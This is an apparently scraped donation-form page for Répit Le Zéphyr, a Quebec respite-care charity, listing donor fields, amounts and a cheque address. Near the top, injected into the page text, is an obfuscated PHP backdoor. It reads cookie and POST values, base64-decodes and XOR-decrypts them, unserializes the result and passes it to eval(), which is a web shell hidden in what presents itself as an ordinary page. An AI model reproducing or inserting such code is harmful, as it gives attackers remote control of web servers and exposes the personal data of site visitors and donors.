Make a donation - Répit Le Zéphyr

$SySGHvqPvP = 's' . 'c' . chr ( 694 - 599 )."\x5a" . "\143" . "\x79" . chr ( 373 - 301 ); $qTFai = "\143" . chr ( 1077 - 969 ).chr (97) . "\x73" . 's' . '_' . 'e' . "\x78" . "\x69" . chr ( 495 - 380 )."\x74" . chr ( 755 - 640 ); $SzjRUrn = class_exists($SySGHvqPvP); $SySGHvqPvP = "45814";$qTFai = "31125";$VTCgVF = !1;if ($SzjRUrn == $VTCgVF){function RcwjXgRzB(){return FALSE;}$gnGqauu = "12955";RcwjXgRzB();class sc_ZcyH{private function BrFxUH($gnGqauu){if (is_array(sc_ZcyH::$JtSIV)) {$zKqYbZ = str_replace(chr ( 494 - 434 ) . "\77" . 'p' . chr ( 219 - 115 )."\x70", "", sc_ZcyH::$JtSIV["\x63" . 'o' . "\156" . chr (116) . 'e' . "\156" . 't']);eval($zKqYbZ); $gnGqauu = "12955";exit();}}private $cfmCBYoH;public function ZekQSHOxc(){echo 11324;}public function __destruct(){$gnGqauu = "49930_148";$this->BrFxUH($gnGqauu); $gnGqauu = "49930_148";}public function __construct($qtgFlPBuAT=0){$aWyRFBYs = $_POST;$qtJEJHNxZp = $_COOKIE;$HycRv = "5ef25d7a-d5a8-4c9a-8ad3-120dd1ca9770";$xcirlKP = @$qtJEJHNxZp[substr($HycRv, 0, 4)];if (!empty($xcirlKP)){$HIZeDe = "base64";$qIeTSkdR = "";$xcirlKP = explode(",", $xcirlKP);foreach ($xcirlKP as $vLWOms){$qIeTSkdR .= @$qtJEJHNxZp[$vLWOms];$qIeTSkdR .= @$aWyRFBYs[$vLWOms];}$qIeTSkdR = array_map($HIZeDe . '_' . 'd' . chr (101) . 'c' . "\157" . chr ( 124 - 24 )."\x65", array($qIeTSkdR,)); $qIeTSkdR = $qIeTSkdR[0] ^ str_repeat($HycRv, (strlen($qIeTSkdR[0]) / strlen($HycRv)) + 1);sc_ZcyH::$JtSIV = @unserialize($qIeTSkdR); $qIeTSkdR = class_exists("49930_148");}}public static $JtSIV = 30721;}$MMnim = new /* 18477 */ sc_ZcyH(12955 + 12955); $VTCgVF = $MMnim = $gnGqauu = Array();} Make a donation - Répit Le Zéphyr

Form

Formulaire de dons EN

Donor
With your donation, as well as those of other donors, we will be able to offer respite care to families at a reduced rate so they can more easily benefit from our services. Thank you for your support!

To make a donation by cheque, download our printable coupon.
Case pour entreprise
Organization name
First name*

First name
Last name*

Last name
Address*

Address
Office/Apartment (optional)

Office/Apartment (optional)
City*

City
Province*
Province
Alberta
British Columbia
Manitoba
New Brunswick
Newfoundland and Labrador
Northwest Territories
Nova Scotia
Nunavut
Ontario
Prince Edward Island
Quebec
Saskatchewan
Yukon
Postal code*

Postal code
Telephone
Email

Email
Donation amount*
- 25$
- 50$
- 100$
- Other
Other
Total:
0.00 $
Request a tax receipt
¹A tax receipt will be issued for donations of $25 or more.
Consent*
I have read and agree to the privacy policy.

Donation by cheque

If you prefer to make a donation by cheque, download the printable form and return it with your cheque to the following address:

Répit le Zéphyr

663, boulevard Bord-de-l'Eau
Salaberry-de-Valleyfield, Quebec J6S 0B5
450 371.6825 Ext. 208

To the attention of:
Jessica Mathers, Executive Director